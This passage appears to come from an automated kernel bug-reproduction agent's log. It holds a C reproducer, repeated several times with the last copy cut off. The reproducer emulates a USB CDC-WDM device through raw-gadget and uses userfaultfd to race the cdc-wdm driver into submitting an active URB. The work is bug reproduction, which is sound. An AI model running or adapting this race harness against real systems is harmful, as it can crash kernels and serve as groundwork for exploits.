In essence, the flow is: gadget initializes -> interrupt endpoint enabled -> two notifications sent (blocking until read) -> gadget responds to control read -> `main` opens device -> interrupt URB submitted by host -> notifications are read -> `read()` is called on `cdc-wdm` device -> page fault occurs -> `ep1_thread` signals STALL -> `wdm_rxwork` is scheduled and submits URB *while endpoint is stalled* -> `uffd_thread` resolves page fault -> `read()` completes.
The final C reproducer code looks like it correctly implements this entire sequence. It should reliably trigger the "URB submitted while active" warning.
|
| 251/4 |
2026/09/11 22:59 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}]
Results: map[IsProbe:false RawCandidateReproC:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}]
|
| 252/3 |
2026/09/11 22:59 |
loop |
|
1m
|
| 253/4 |
2026/09/11 22:59 |
iteration |
0 |
1m
|
| 254/5 |
2026/09/11 22:59 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
